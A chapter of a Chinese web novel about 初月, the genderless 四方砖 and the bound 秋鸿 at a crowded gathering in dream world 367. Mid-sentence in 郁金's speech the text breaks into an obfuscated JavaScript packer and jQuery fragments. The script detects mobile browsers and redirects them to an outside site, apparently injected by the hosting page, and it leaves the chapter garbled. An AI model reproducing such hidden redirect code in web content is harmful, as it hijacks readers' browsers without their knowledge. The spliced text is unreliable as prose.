“是的,当时种种迹象表明,你的的确确是偷渡者无疑,这也是我为什么一定要将你拿下的原因。”
回忆起初见时的场景,四方砖愧疚的神色底下塞满了甜蜜。
“后来,梦主成功穿到现实世界顶替了我的位置,你也就不追杀我了。那秋鸿也是你管辖区内的人员变动吧?也没见你找他麻烦。”
“大抵是的,虽然我还没有确认他是哪一个梦世界的人。但这么长时间也没人举报他,我也就多一事不如少一事了……”
初月以手为刀轻捅四方砖肚子,笑道:“好一个民不举官不究,你和你正义凛然的长相不太一样啊!”
四方砖被逗笑,捉住她的手,说:“再高大上的名头,都只是一份工作而已,我有更重要的事要做。”
初月也不躲,任由他握着自己的手。
自从知道四方砖非男非女,是个无性别的人之后初月对他的感觉就怪怪的,既不好以男女之别划分界限,也不好以闺蜜相称,怕唐突了他,毕竟他外表还是个堂堂男子汉。
于是她也就任由他去了,既然四方砖非男非女,那初月也随他,放下自己的男女观念,以一个“人”对另一个“人”的态度,和他正常相处就是了。
“别挤!排队!”
“是他□□队的!”
一男一女两个熟悉的声音传来,其中女声是袅袅,男声?
初月越过人流朝队伍最前方看,只见秋鸿和一中年男子站在队伍最前方,面对着众人,施粥一样安顿着不安的人们。
“他竟然在这里?找他还真是一点不费功夫……”
初月拉着四方砖挤过人群。
四方砖耳廓一动,刺痛得皱了皱眉,看起来好似有人在他耳旁尖叫了一声。
“你不舒服吗?”
初月感受到四方砖的指尖在她手心里瑟缩了一下,回想起当时她们在地坑里时,四方砖也曾这样漫不经心过。
大抵又是其他梦世界有人找他了。
“我没事。”
四方砖这一会儿的时间就收到了两次召唤,可他不放心就这样撇下初月离去。
一来,虽初月意志力强大,被寒毒附身压制住了体内的血岩浆,却依旧能够化寒毒为己用,可和之前相比,她终究是受寒毒所累,武力大不如前,偶尔一次积蓄力量虽可化鞭为棍,击碎厚冰,但真要打斗起来,她蓄力的速度怕是抵不上敌人进攻的速度,实在是危险。
二来,此处人众奇多,怕不是整个367号梦世界的陌生人、熟人、原住民都快要齐聚在这儿了,若是有心之人想要将初月掳了去,囚禁起来做情绪能量源,这种事件在其他梦世界也不少见,防人之心无可无啊。
如此想来,四方砖便一而再再而三地将召令压制了下去,他决定陪着初月先走过这段看似熙熙攘攘毫无危险、实则危机四伏的集会再说。
二人左推右搡,从队伍末尾挤到了最前面,终于挤到了袅袅身边为她撑腰。
初月挽住袅袅的胳膊,不满地抬头望向那个本该是站在自己身边的秋鸿,眼神里全是质问。
“是你让我走的……”
秋鸿不等她开口,心虚地先解释起来。
“我没问这个。”
初月嘴硬,她想问的问题有千百个,秋鸿倒是识趣儿的答了其中一个。
“我好朋友,袅袅。”初月揽着袅袅的腰,将她向前送,“谁□□队了。秋鸿你不管吗?”
初月抬头望着,秋鸿站在由一个巨型石块垒起来的平台上,施粥一样面对着两列队伍,他身边站着的,是一个身量中等,面皮干黄,一口龅牙的形容猥琐的男人。
这两人站在一起,实在是太不相称。
那干黄男人也学着初月的样子,揽起秋鸿的腰,将他向后藏,奈何秋鸿比他高出半个头,他不过是一厢情愿想要当个出头之人罢了。
“误会,误会!我的主人,您这位朋友和别人有点误会,我们这就让她先去惊喜盒子里体验一番!”
“主人?”初月狐疑,“你认识我?可我没见过你。秋鸿,他是谁?你现在又是在为谁卖命?”
初月期待的,是秋鸿亲口告诉自己关于地底世界的一切。
可他听见秋鸿满不在乎地说:“他是郁金,和我一起领命干活的,前段时间咱们这儿不是出现了建筑乱吗,他上司那里正好有个空当,我又没处可去,就顶上了,挣口饭吃,挣个住所……”
初月听到一半就别过脸去,她知道了,秋鸿如今已经不是那个跟在她身边求饭吃求住所的人了,这偌大的梦世界也不是只有初月一人可以管他温饱。
可初月气的是,秋鸿兜兜转转说了这么多,一个有效信息都不愿意透露给她。
如今,秋鸿是真的不和她同路了吗?
女巫们所说的,谁都可以是药引子,唯独秋鸿不行,也将要如她们所愿了吗?
初月不肯当即就下定论。
袅袅在一旁,虽手拉着初月,身体却快要飞出去。她望着秋鸿二人身后密集排列的一大片集装箱区域,跃跃欲试。
“月月,想来你病未好,也不能去惊喜盒子陪我了,你们还有话要聊,我也不便继续听,那我就……先去那里逛一圈啦!到时候兑换个大房子咱俩还是一起住!”
说着袅袅就挣脱开了初月的手,双手撑着秋鸿脚下的平台向上一跃,朝着已经有人进出的惊喜盒子跑去了。
惊喜盒子,是什么?初月还是头一次见。
秋鸿和这个叫郁金的男人又是领谁之命?是初月和秦厌共眼时看到的那个高松华吗?
他们搞这么大阵仗,又是意欲何为?初月站在人群里,大脑里却空白一片。
“我们去出口等她。”
既然想知道的太多,而眼前这个曾经的朋友又无话可说,初月决定自己去探个究竟。
她拉着四方砖的手,略过支支吾吾的秋鸿,头也不回地朝着袅袅的方向,将人群抛在脑后。
“没用的东西!”
一声只有秋鸿郁金二人能听见的谩骂,准确无误的进入了秋鸿的耳朵里。
那是来自郁金的蔑视,他眼一横,眉头一皱,嫌恶地瞪了秋鸿一眼。
“早知道你是这个死样子,还不如让王瑾哥把你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16420965|176095||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这副皮囊给我,我势必三两下便能拿下主人。到那时候,那女的归我,你也归我,劲儿我也使了,爽也是我爽了,好处我哥得了,一箭三雕,哪像你似的,白瞎了这副好皮囊。”
“这副皮囊,你要便拿去好了。”
秋鸿不在意地敷衍郁金。
可他没有说,这副人人皆喜的好皮囊,为367号梦主量身打造的好皮囊,对于他来说,却不是礼物,而是枷锁。
这是他进入367号梦世界时,王瑾给他拴上的第一道枷锁。
王瑾不用明说,秋鸿也知道,一旦他反抗,或是达不成王瑾的要求,他便会成为一个无用的棋子,于367号梦世界是,于他自己的10230号梦世界更是。
那时候,皮囊便会自外向内腐烂,先是皮肤,再是血肉,如被蚂蚁啃噬一般。
最后他便会完全将不属于自己的这副驱壳归还给大地,只留下一副白骨。
秋鸿有时候会幻想,在他全身的血肉剥离开来之时,骨面上应该会有坑坑洼洼的腐蚀痕迹,应该不会好看。
这第一道枷锁已经让他违背自己的本心,向着初月走了一步又一步了。
而不久之前,他又被高松华拴上了第二道枷锁。
呵呵,秋鸿苦笑,为了他一息尚存的母亲,为了他母亲残留在他的梦世界的一点点意识分身,他不能退后,他必须要将他破败的梦世界延续下去。
而强行拯救本该衰败的梦世界,就是会被反噬的啊!
这只不过才刚刚开始。
秋鸿将自己从沉重的思绪里挖出来。
他刚刚想要将手牌递给那个插队不成的男人,抬眼间却瞧见了他发黑的印堂和目眦尽裂的双眼,于是默默将手牌收回,给他换了一张火焰红的手牌,指引他直接去最深处的熔岩盒子,那里是最适合收集愤怒情绪的地方。
那男人单手一撑上了平台,随手接过秋鸿手里的牌子,漫不经心地跟在初月和四方砖后面,有一搭没一搭地转着手牌蛇形跟随。
初月二人并没有发觉身后这一五大三粗的汉子,这里人众居多,在平台和集装箱之间来来往往的人也不在少数,大家两点一线,各自忙碌着。
“你要是有事儿就先走,我能应付的过来的……”
初月再次提醒四方砖,她手捏着鞭柄,稍一发力,缠在她腰上的软蛇鞭“嗖”的一下变硬,贴着后腰直愣愣地刺了出去。
“你看,我现在甚至可以灵活运用体内的寒毒了,谁说这毒是坏事一定要解呢?我看现在我也啥事儿没有……”
“要解的……”四方砖替她将蛇鞭上的冰楞刮掉,重新折叠起来,“你本体属火,午夜沥青属冰,二者没有相融的道理,此刻是冰占了上风,而你体内的火又未熄灭,才存在这种以火驭冰的情况……若是等到寒毒再深些,你就完全成了冰的奴隶了……”
初月不高兴的别开脸:“所以,要我快点去找男人上床吗?我不愿意。”
四方砖闭了嘴,他知道自己多言了,但他不明白,初月所说的不愿意,是所有男人她都不愿意,还是因秋鸿立场未明,所以她才不愿意。